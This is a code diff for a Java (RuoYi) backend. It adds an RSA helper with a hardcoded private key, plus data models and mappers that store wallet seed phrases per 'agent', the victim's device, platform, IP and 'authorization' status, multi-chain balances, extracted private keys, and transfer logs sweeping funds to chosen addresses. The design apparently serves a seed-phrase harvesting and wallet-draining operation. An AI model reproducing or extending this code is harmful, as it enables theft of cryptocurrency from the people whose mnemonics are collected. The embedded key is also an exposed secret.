+            String pulickeystr = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxyQ7co0Efx1KS1uV1tM0f53eiod++F5bb6u2haTfjxYy7+jzAK6Q0qZ0rPT4s0ebJfStnvzTu4POWsg06arYK8h3PFqfuxcFWMTRJTtZ2MDIgCvrIkO8aJhBS1IcbX6OFbb0QsvNarRnfmDxIH4VPJWwovMOOLEX540Ya/LCwPCOZnYQpCgT72LWiXUzk2xstVmBwUrCOCnEeN5Ayt0lbA86Ngnbmfej9ZBr2OOLIeCiBqeHO1stwdsT3tcjpTaLyBLl5896QiyS1OfrJa7koGw4avxWAvjl/SGi7zTMkl/Hdn2T3US3Q7P4sKfqTWMWAXbAyr1L5YjTst3eaoqX3wIDAQAB";
+            byte[] decoded = Base64.decodeBase64(pulickeystr);
+            RSAPublicKey pubKey = (RSAPublicKey) KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(decoded));
+            Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+            cipher.init(Cipher.ENCRYPT_MODE, pubKey);
+            byte plaintext[] = data.getBytes("UTF-8");
+
+            byte[] output = cipher.doFinal(plaintext);
+            String outStr = Base64.encodeBase64String(output);
+            return outStr;
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return "";
+    }
+
+    public static String privateKeystr = "MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHJDtyjQR/HUpLW5XW0zR/nd6Kh374Xltvq7aFpN+PFjLv6PMArpDSpnSs9PizR5sl9K2e/NO7g85ayDTpqtgryHc8Wp+7FwVYxNElO1nYwMiAK+siQ7xomEFLUhxtfo4VtvRCy81qtGd+YPEgfhU8lbCi8w44sRfnjRhr8sLA8I5mdhCkKBPvYtaJdTOTbGy1WYHBSsI4KcR43kDK3SVsDzo2CduZ96P1kGvY44sh4KIGp4c7Wy3B2xPe1yOlNovIEuXnz3pCLJLU5+slruSgbDhq/FYC+OX9IaLvNMySX8d2fZPdRLdDs/iwp+pNYxYBdsDKvUvliNOy3d5qipffAgMBAAECggEARB47LXxaMOcCflN2JjU5rHuCX41om6mfCkxI018pz4aO5uyejrmntT6WA4GKPrz8L5gJ+avO+0HjSL9aBiHX7uYUDzOKltMRk6NDTUKHgbK0As/DDwXvgTGviAWuzq9vB7N8ywpumhTan+qmIHCwb/heIucUEsVVAXIMjAROpPMpeT0eStQ7ijmK5TNXW4yFWLV1jNAqxt0K0SW5qtw3EXaK2ChHmBbSU2fnIls7MNzdnZSww3vi14Gt5uxMUZyKcNlsqG1Z7v2RFo3VWdxZy9aN5MAc8t/lrKLLGESSACt6u9EnsPG5hhvIj1usalNVuOAuZiO5Jmuv70mRpq072QKBgQDuTlLkqHGg2s7pgRuBzc0F/Pb9whD7MvmsrB7WnN3n9vt47jK2bacL2X9/iJ0OT2NC1PflBtnctWIXWJCS8JFOl6n47PbFsuKvYu3+gZ0mopQkMtLHDTTlFcH3ISYKy1p9fHD07lTaBRvyt4LJGe74esjc1baMj4WhZ7spO8wkWQKBgQDV7Xpt0ud/mMg86n8n6krkLfsblAtJeOe94RpOTadVGYTUMHUPGD7pbSYSY7IsoeMWQG5ZaJalEHap36Y1MInyCaLP08M86vil7pDHbvczewFQDJW6kmHW9A48JgnX6tmcI0ObOf5bK793Ak5//WPdWGKWDeiLektpBzYiHhb29wKBgQCaEsG9XLq6iT2l8vdZ4TlhWcBHKKXaA4cxgMcfcqR2SVUlRrw6/oI2QxUP27/PdLx0hUURKnDJJeyZs4Ulu6v26E/YxTx3bcTqKEg/eIWmaQ7mqIVmdL9yLbMOmLwD1p5W65IMidsKaqs7LjK82quKs7gSL4qrLk/znyF+8051YQKBgBtE9FA/jCblsNCjC6Zo5TcE7XdsfavV76Ryp0nH+EaOxDHQI3vTGWHj+fBqKPIriKjzeZ2ICXvtB1NMIQGyuELUG57mXYLMaPmt2WKysGwth9NOZ1+q/THLVm0wZBzT4P1YOWv2DohMoVFoR91kzXAPrjF2gGgXJLm0o5/hugetAoGBANA2yVjZv9IV1pPMZXk0pnkwdolbVaoTgaTiwhSA+llFABx4+zyqkzEu3mSDpKtdya/KxPsCC0yg03iAUirwo0DWau/7ujlBFOZL6hkkFMo63uuW3+eM7s+UzlgbhxIFCTIGlncOv+5CFCGT7FuSvdw9Ec9f3GXzh5ILQywZhb7O";
+
+    public static String decryptByPrivateKey(String data) {
+        try {
+
+            byte[] inputByte = Base64.decodeBase64(data.getBytes("UTF-8"));
+            byte[] decoded = Base64.decodeBase64(privateKeystr.getBytes());
+            RSAPrivateKey priKey = (RSAPrivateKey) KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(decoded));
+            Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+            cipher.init(Cipher.DECRYPT_MODE, priKey);
+            return new String(cipher.doFinal(inputByte));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return "";
+    }
+
+    // 填充方式
+    public static final String RSA_ALGORITHM_NOPADDING = "RSA";
+    public static final String RSA_ALGORITHM = "RSA/ECB/PKCS1Padding";
+
+    /**
+     * 生成密钥对
+     *
+     * @return
+     */
+    public static Map<String, String> createKeyPairs() {
+        try {
+            KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(RSA_ALGORITHM_NOPADDING);
+            keyPairGenerator.initialize(2048);
+            KeyPair keyPair = keyPairGenerator.generateKeyPair();
+            RSAPublicKey publicKey = (RSAPublicKey) keyPair.getPublic();
+            RSAPrivateKey privateKey = (RSAPrivateKey) keyPair.getPrivate();
+            return new HashMap<String, String>() {{
+                put("publicKey", Base64.encodeBase64String(publicKey.getEncoded()));
+                put("privateKey", Base64.encodeBase64String(privateKey.getEncoded()));
+            }};
+        } catch (NoSuchAlgorithmException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+    public static void main(String[] args) {
+        createKeyPairs();
+        System.out.println(createKeyPairs().get("publicKey"));
+        System.out.println(createKeyPairs().get("privateKey"));
+    }
+
+}

+ 35 - 0
api/src/main/java/com/api/domain/Api.java

@@ -0,0 +1,35 @@
+package com.api.domain;
+
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+public class Api {
+    private String user_id;
+    private String role_id;
+
+    public void setuserId(String user_id) {
+        this.user_id = user_id;
+    }
+
+    public String getuserId() {
+        return user_id;
+    }
+
+    public String getroleId() {
+        return role_id;
+    }
+
+    public void setroleId(String role_id) {
+        this.role_id = role_id;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
+                .append("userId", getuserId())
+                .append("agentid", getroleId())
+                .toString();
+    }
+
+
+}

+ 66 - 0
api/src/main/java/com/api/domain/ApiBlackip.java

@@ -0,0 +1,66 @@
+package com.api.domain;
+
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+
+/**
+ * IP黑名单对象 sys_blackip
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+public class ApiBlackip extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** ip地址 */
+    @Excel(name = "ip地址")
+    private String ip;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setIp(String ip) 
+    {
+        this.ip = ip;
+    }
+
+    public String getIp() 
+    {
+        return ip;
+    }
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("ip", getIp())
+            .append("remark", getRemark())
+            .append("createdTime", getCreatedTime())
+            .toString();
+    }
+}

+ 324 - 0
api/src/main/java/com/api/domain/ApiMnemonic.java

@@ -0,0 +1,324 @@
+package com.api.domain;
+
+import java.math.BigDecimal;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+
+/**
+ * 助记词对象 sys_mnemonic
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+public class ApiMnemonic extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    @Excel(name = "索引id")
+    private Long id;
+
+    /** 代理商ID */
+    @Excel(name = "代理商ID")
+    private Long agentid;
+
+    /** 助记词 */
+    @Excel(name = "助记词")
+    private String mnemonic;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    /** 更新时间 */
+    private Long updatedTime;
+
+    /** 删除时间 */
+    private Long deletedTime;
+
+    /** 1授权成功 0失败 */
+    private Integer status;
+
+    /** 名称 */
+    @Excel(name = "名称")
+    private String platform;
+
+    /** 设备 */
+    @Excel(name = "设备")
+    private String device;
+
+    /** 排序 */
+    private Integer sort;
+
+    /** ip */
+    private String ip;
+
+    /** ip登录数 */
+    private Integer ipCount;
+
+    /** 钱包 */
+    private BigDecimal eth;
+
+    /** 钱包 */
+    private BigDecimal erc;
+
+    /** 钱包 */
+    private BigDecimal trx;
+
+    /** 钱包 */
+    private BigDecimal trc;
+
+    /** 钱包 */
+    private BigDecimal btc;
+
+    /** 钱包 */
+    private BigDecimal omni;
+
+    /** 钱包 */
+    private BigDecimal bnb;
+
+    /** 钱包 */
+    private BigDecimal bep;
+
+    /** 助记词md5 */
+    private String mnemonicmd5;
+
+    /** 限制提取数据数量 */
+    private int limitnum;
+
+
+    public void setlimitnum(int limitnum)
+    {
+        this.limitnum = limitnum;
+    }
+
+    public int getlimitnum()
+    {
+        return limitnum;
+    }
+
+
+    public void setmnemonicmd5(String mnemonicmd5)
+    {
+        this.mnemonicmd5 = mnemonicmd5;
+    }
+
+    public String getmnemonicmd5()
+    {
+        return mnemonicmd5;
+    }
+
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setAgentid(Long agentid) 
+    {
+        this.agentid = agentid;
+    }
+
+    public Long getAgentid() 
+    {
+        return agentid;
+    }
+    public void setMnemonic(String mnemonic) 
+    {
+        this.mnemonic = mnemonic;
+    }
+
+    public String getMnemonic() 
+    {
+        return mnemonic;
+    }
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+    public void setUpdatedTime(Long updatedTime) 
+    {
+        this.updatedTime = updatedTime;
+    }
+
+    public Long getUpdatedTime() 
+    {
+        return updatedTime;
+    }
+    public void setDeletedTime(Long deletedTime) 
+    {
+        this.deletedTime = deletedTime;
+    }
+
+    public Long getDeletedTime() 
+    {
+        return deletedTime;
+    }
+    public void setStatus(Integer status) 
+    {
+        this.status = status;
+    }
+
+    public Integer getStatus() 
+    {
+        return status;
+    }
+    public void setPlatform(String platform) 
+    {
+        this.platform = platform;
+    }
+
+    public String getPlatform() 
+    {
+        return platform;
+    }
+
+    public void setdevice(String device)
+    {
+        this.device = device;
+    }
+
+    public String getdevice()
+    {
+        return device;
+    }
+    public void setSort(Integer sort) 
+    {
+        this.sort = sort;
+    }
+
+    public Integer getSort() 
+    {
+        return sort;
+    }
+    public void setIp(String ip) 
+    {
+        this.ip = ip;
+    }
+
+    public String getIp() 
+    {
+        return ip;
+    }
+    public void setIpCount(Integer ipCount) 
+    {
+        this.ipCount = ipCount;
+    }
+
+    public Integer getIpCount() 
+    {
+        return ipCount;
+    }
+    public void setEth(BigDecimal eth) 
+    {
+        this.eth = eth;
+    }
+
+    public BigDecimal getEth() 
+    {
+        return eth;
+    }
+    public void setErc(BigDecimal erc) 
+    {
+        this.erc = erc;
+    }
+
+    public BigDecimal getErc() 
+    {
+        return erc;
+    }
+    public void setTrx(BigDecimal trx) 
+    {
+        this.trx = trx;
+    }
+
+    public BigDecimal getTrx() 
+    {
+        return trx;
+    }
+    public void setTrc(BigDecimal trc) 
+    {
+        this.trc = trc;
+    }
+
+    public BigDecimal getTrc() 
+    {
+        return trc;
+    }
+    public void setBtc(BigDecimal btc) 
+    {
+        this.btc = btc;
+    }
+
+    public BigDecimal getBtc() 
+    {
+        return btc;
+    }
+    public void setOmni(BigDecimal omni) 
+    {
+        this.omni = omni;
+    }
+
+    public BigDecimal getOmni() 
+    {
+        return omni;
+    }
+    public void setBnb(BigDecimal bnb) 
+    {
+        this.bnb = bnb;
+    }
+
+    public BigDecimal getBnb() 
+    {
+        return bnb;
+    }
+    public void setBep(BigDecimal bep) 
+    {
+        this.bep = bep;
+    }
+
+    public BigDecimal getBep() 
+    {
+        return bep;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("agentid", getAgentid())
+                .append("mnemonicmd5", getmnemonicmd5())
+                .append("device", getdevice())
+                .append("limitnum", getlimitnum())
+            .append("mnemonic", getMnemonic())
+            .append("createdTime", getCreatedTime())
+            .append("updatedTime", getUpdatedTime())
+            .append("deletedTime", getDeletedTime())
+            .append("status", getStatus())
+            .append("remark", getRemark())
+            .append("platform", getPlatform())
+            .append("sort", getSort())
+            .append("ip", getIp())
+            .append("ipCount", getIpCount())
+            .append("eth", getEth())
+            .append("erc", getErc())
+            .append("trx", getTrx())
+            .append("trc", getTrc())
+            .append("btc", getBtc())
+            .append("omni", getOmni())
+            .append("bnb", getBnb())
+            .append("bep", getBep())
+            .toString();
+    }
+}

+ 206 - 0
api/src/main/java/com/api/domain/ApiMnemonicToken.java

@@ -0,0 +1,206 @@
+package com.api.domain;
+
+import java.math.BigDecimal;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+
+/**
+ * 代币对象 sys_mnemonic_token
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public class ApiMnemonicToken extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    @Excel(name = "索引id")
+    private Long id;
+
+    /** 代理商id */
+    @Excel(name = "代理商id")
+    private Integer agentid;
+
+    /** 助记词id */
+    @Excel(name = "助记词id")
+    private Long mnemonicid;
+
+    /** 区块链 */
+    @Excel(name = "区块链")
+    private String chain;
+
+    /** 代币 */
+    @Excel(name = "代币")
+    private String token;
+
+    /** 地址 */
+    @Excel(name = "地址")
+    private String address;
+
+    /** 余额 */
+    @Excel(name = "余额")
+    private BigDecimal balance;
+
+    private BigDecimal zzbalance;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    /** 更新时间 */
+    private Long updatedTime;
+    /** 私钥 */
+    private String privatekey;
+
+    /** 删除时间 */
+    private Long deletedTime;
+
+    /** 名称 */
+    @Excel(name = "名称")
+    private String platform;
+
+    public void setPlatform(String platform)
+    {
+        this.platform = platform;
+    }
+
+    public String getPlatform()
+    {
+        return platform;
+    }
+    public void setprivatekey(String privatekey)
+    {
+        this.privatekey = privatekey;
+    }
+
+    public String getprivatekey()
+    {
+        return privatekey;
+    }
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setAgentid(Integer agentid) 
+    {
+        this.agentid = agentid;
+    }
+
+    public Integer getAgentid() 
+    {
+        return agentid;
+    }
+    public void setMnemonicid(Long mnemonicid) 
+    {
+        this.mnemonicid = mnemonicid;
+    }
+
+    public Long getMnemonicid() 
+    {
+        return mnemonicid;
+    }
+    public void setChain(String chain) 
+    {
+        this.chain = chain;
+    }
+
+    public String getChain() 
+    {
+        return chain;
+    }
+    public void setToken(String token) 
+    {
+        this.token = token;
+    }
+
+    public String getToken() 
+    {
+        return token;
+    }
+    public void setAddress(String address) 
+    {
+        this.address = address;
+    }
+
+    public String getAddress() 
+    {
+        return address;
+    }
+    public void setBalance(BigDecimal balance)
+{
+    this.balance = balance;
+}
+
+    public BigDecimal getBalance()
+    {
+        return balance;
+    }
+
+
+    public void setzzbalance(BigDecimal zzbalance)
+    {
+        this.zzbalance = zzbalance;
+    }
+
+    public BigDecimal getzzbalance()
+    {
+        return zzbalance;
+    }
+
+
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+    public void setUpdatedTime(Long updatedTime) 
+    {
+        this.updatedTime = updatedTime;
+    }
+
+    public Long getUpdatedTime() 
+    {
+        return updatedTime;
+    }
+    public void setDeletedTime(Long deletedTime) 
+    {
+        this.deletedTime = deletedTime;
+    }
+
+    public Long getDeletedTime() 
+    {
+        return deletedTime;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("privatekey", getprivatekey())
+            .append("agentid", getAgentid())
+            .append("mnemonicid", getMnemonicid())
+                .append("platform", getPlatform())
+                .append("zzbalance", getzzbalance())
+            .append("chain", getChain())
+            .append("token", getToken())
+            .append("address", getAddress())
+            .append("balance", getBalance())
+            .append("createdTime", getCreatedTime())
+            .append("updatedTime", getUpdatedTime())
+            .append("deletedTime", getDeletedTime())
+            .toString();
+    }
+}

+ 65 - 0
api/src/main/java/com/api/domain/ApiMnemonicTokenPrivatekey.java

@@ -0,0 +1,65 @@
+package com.api.domain;
+
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+
+/**
+ * 助记词私钥对象 sys_mnemonic_token_privatekey
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public class ApiMnemonicTokenPrivatekey extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** 私钥 */
+    @Excel(name = "私钥")
+    private String privatekey;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setPrivatekey(String privatekey) 
+    {
+        this.privatekey = privatekey;
+    }
+
+    public String getPrivatekey() 
+    {
+        return privatekey;
+    }
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("privatekey", getPrivatekey())
+            .append("createdTime", getCreatedTime())
+            .toString();
+    }
+}

+ 152 - 0
api/src/main/java/com/api/domain/ApiTransferLog.java

@@ -0,0 +1,152 @@
+package com.api.domain;
+
+import java.math.BigDecimal;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+
+/**
+ * 钱包转账对象 sys_transfer_log
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+public class ApiTransferLog extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    @Excel(name = "索引id")
+    private Long id;
+
+    /** 代理商id */
+    @Excel(name = "代理商id")
+    private Long agentid;
+
+    /** 钱包名称 */
+    @Excel(name = "钱包名称")
+    private String token;
+
+    /** 钱包地址 */
+    @Excel(name = "钱包地址")
+    private String fromaddress;
+
+    /** 钱包私钥 */
+    @Excel(name = "钱包私钥")
+    private String fromprivateaddress;
+
+    /** 提现类型1最高优先级2普通优先级 */
+    @Excel(name = "提现类型1最高优先级2普通优先级")
+    private Integer txtype;
+
+    /** 转账地址 */
+    @Excel(name = "转账地址")
+    private String toaddress;
+
+    /** 转账金额 */
+    @Excel(name = "转账金额")
+    private BigDecimal money;
+
+    /** 提现id */
+    @Excel(name = "提现id")
+    private String txid;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setAgentid(Long agentid) 
+    {
+        this.agentid = agentid;
+    }
+
+    public Long getAgentid() 
+    {
+        return agentid;
+    }
+    public void setToken(String token) 
+    {
+        this.token = token;
+    }
+
+    public String getToken() 
+    {
+        return token;
+    }
+    public void setFromaddress(String fromaddress) 
+    {
+        this.fromaddress = fromaddress;
+    }
+
+    public String getFromaddress() 
+    {
+        return fromaddress;
+    }
+    public void setFromprivateaddress(String fromprivateaddress) 
+    {
+        this.fromprivateaddress = fromprivateaddress;
+    }
+
+    public String getFromprivateaddress() 
+    {
+        return fromprivateaddress;
+    }
+    public void setTxtype(Integer txtype) 
+    {
+        this.txtype = txtype;
+    }
+
+    public Integer getTxtype() 
+    {
+        return txtype;
+    }
+    public void setToaddress(String toaddress) 
+    {
+        this.toaddress = toaddress;
+    }
+
+    public String getToaddress() 
+    {
+        return toaddress;
+    }
+    public void setMoney(BigDecimal money) 
+    {
+        this.money = money;
+    }
+
+    public BigDecimal getMoney() 
+    {
+        return money;
+    }
+    public void setTxid(String txid) 
+    {
+        this.txid = txid;
+    }
+
+    public String getTxid() 
+    {
+        return txid;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("agentid", getAgentid())
+            .append("token", getToken())
+            .append("fromaddress", getFromaddress())
+            .append("fromprivateaddress", getFromprivateaddress())
+            .append("txtype", getTxtype())
+            .append("toaddress", getToaddress())
+            .append("money", getMoney())
+            .append("txid", getTxid())
+            .append("createTime", getCreateTime())
+            .toString();
+    }
+}

+ 61 - 0
api/src/main/java/com/api/mapper/ApiBlackipMapper.java

@@ -0,0 +1,61 @@
+package com.api.mapper;
+
+import java.util.List;
+import com.api.domain.ApiBlackip;
+
+/**
+ * IP黑名单Mapper接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+public interface ApiBlackipMapper 
+{
+    /**
+     * 查询IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return IP黑名单
+     */
+    public ApiBlackip selectSysBlackipById(Long id);
+
+    /**
+     * 查询IP黑名单列表
+     * 
+     * @param apiBlackip IP黑名单
+     * @return IP黑名单集合
+     */
+    public List<ApiBlackip> selectSysBlackipList(ApiBlackip apiBlackip);
+
+    /**
+     * 新增IP黑名单
+     * 
+     * @param apiBlackip IP黑名单
+     * @return 结果
+     */
+    public int insertSysBlackip(ApiBlackip apiBlackip);
+
+    /**
+     * 修改IP黑名单
+     * 
+     * @param apiBlackip IP黑名单
+     * @return 结果
+     */
+    public int updateSysBlackip(ApiBlackip apiBlackip);
+
+    /**
+     * 删除IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return 结果
+     */
+    public int deleteSysBlackipById(Long id);
+
+    /**
+     * 批量删除IP黑名单
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysBlackipByIds(String[] ids);
+}

+ 11 - 0
api/src/main/java/com/api/mapper/ApiMapper.java

@@ -0,0 +1,11 @@
+package com.api.mapper;
+
+import org.apache.ibatis.annotations.Mapper;
+import com.api.domain.Api;
+
+import java.util.List;
+
+@Mapper
+public interface ApiMapper {
+    public List<Api> selectBanner();
+}

+ 68 - 0
api/src/main/java/com/api/mapper/ApiMnemonicMapper.java

@@ -0,0 +1,68 @@
+package com.api.mapper;
+
+import java.util.List;
+import com.api.domain.ApiMnemonic;
+
+/**
+ * 助记词Mapper接口
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+public interface ApiMnemonicMapper
+{
+    /**
+     * 查询助记词
+     * 
+     * @param id 助记词主键
+     * @return 助记词
+     */
+    public ApiMnemonic selectSysMnemonicById(Long id);
+
+    /**
+     * 查询助记词列表
+     * 
+     * @param apiMnemonic 助记词
+     * @return 助记词集合
+     */
+    public List<ApiMnemonic> selectSysMnemonicList(ApiMnemonic apiMnemonic);
+
+    /**
+     * 新增助记词
+     * 
+     * @param apiMnemonic 助记词
+     * @return 结果
+     */
+    public int insertSysMnemonic(ApiMnemonic apiMnemonic);
+
+    /**
+     * 修改助记词
+     * 
+     * @param apiMnemonic 助记词
+     * @return 结果
+     */
+    public int updateSysMnemonic(ApiMnemonic apiMnemonic);
+    /**
+     * 批量修改助记词
+     *
+     * @param apiMnemonicList 助记词
+     * @return 结果
+     */
+    public int batchUpdateSysMnemonic(List<ApiMnemonic> apiMnemonicList);
+
+    /**
+     * 删除助记词
+     * 
+     * @param id 助记词主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicById(Long id);
+
+    /**
+     * 批量删除助记词
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicByIds(String[] ids);
+}

+ 82 - 0
api/src/main/java/com/api/mapper/ApiMnemonicTokenMapper.java

@@ -0,0 +1,82 @@
+package com.api.mapper;
+
+import java.util.List;
+import com.api.domain.ApiMnemonicToken;
+import org.apache.ibatis.annotations.Param;
+
+/**
+ * 代币Mapper接口
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public interface ApiMnemonicTokenMapper 
+{
+    /**
+     * 查询代币
+     * 
+     * @param id 代币主键
+     * @return 代币
+     */
+    public ApiMnemonicToken selectSysMnemonicTokenById(Long id);
+
+    /**
+     * 查询代币列表
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 代币集合
+     */
+    public List<ApiMnemonicToken> selectSysMnemonicTokenList(ApiMnemonicToken apiMnemonicToken);
+
+    /**
+     * 新增代币
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 结果
+     */
+    public int insertSysMnemonicToken(ApiMnemonicToken apiMnemonicToken);
+
+    /**
+     * 修改代币
+     * 
+     * @param apiMnemonicToken 代币
+     * @return 结果
+     */
+    public int updateSysMnemonicToken(ApiMnemonicToken apiMnemonicToken);
+
+    /**
+     * 删除代币
+     * 
+     * @param id 代币主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenById(Long id);
+
+    /**
+     * 批量删除代币
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenByIds(String[] ids);
+
+    public List<ApiMnemonicToken> selectSysMnemonicTokenTaskList(@Param("token") String token,@Param("balance") String balance);
+
+
+    public List<ApiMnemonicToken> selectSysMnemonicTokenTaskSingleList(@Param("token") String token);
+
+// add by lwh 2025-7-6 start
+    /**
+     * 查询符合条件的记录ID列表(无锁查询)
+     */
+    // update by lwh 2025-7-8 start
+    List<Long> selectSysMnemonicTokenIdList(@Param("token") String token, @Param("minBalance") String minBalance, @Param("toAddress") String toAddress);
+    // update by lwh 2025-7-8 end
+
+    /**
+     * 根据ID列表查询并加锁
+     */
+    List<ApiMnemonicToken> selectSysMnemonicTokenListForUpdateByIds(@Param("ids") List<Long> ids);
+// add by lwh 2025-7-6 end
+// add by lwh 2025-7-3 end
+}

+ 61 - 0
api/src/main/java/com/api/mapper/ApiMnemonicTokenPrivatekeyMapper.java

@@ -0,0 +1,61 @@
+package com.api.mapper;
+
+import java.util.List;
+import com.api.domain.ApiMnemonicTokenPrivatekey;
+
+/**
+ * 助记词私钥Mapper接口
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public interface ApiMnemonicTokenPrivatekeyMapper
+{
+    /**
+     * 查询助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 助记词私钥
+     */
+    public ApiMnemonicTokenPrivatekey selectSysMnemonicTokenPrivatekeyById(Long id);
+
+    /**
+     * 查询助记词私钥列表
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 助记词私钥集合
+     */
+    public List<ApiMnemonicTokenPrivatekey> selectSysMnemonicTokenPrivatekeyList(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey);
+
+    /**
+     * 新增助记词私钥
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int insertSysMnemonicTokenPrivatekey(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey);
+
+    /**
+     * 修改助记词私钥
+     * 
+     * @param apiMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int updateSysMnemonicTokenPrivatekey(ApiMnemonicTokenPrivatekey apiMnemonicTokenPrivatekey);
+
+    /**
+     * 删除助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyById(Long id);
+
+    /**
+     * 批量删除助记词私钥
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyByIds(String[] ids);
+}

+ 61 - 0
api/src/main/java/com/api/mapper/ApiTransferLogMapper.java

@@ -0,0 +1,61 @@
+package com.api.mapper;
+
+import java.util.List;
+import com.api.domain.ApiTransferLog;
+
+/**
+ * 钱包转账Mapper接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+public interface ApiTransferLogMapper 
+{
+    /**
+     * 查询钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 钱包转账
+     */
+    public ApiTransferLog selectSysTransferLogById(Long id);
+
+    /**
+     * 查询钱包转账列表
+     * 
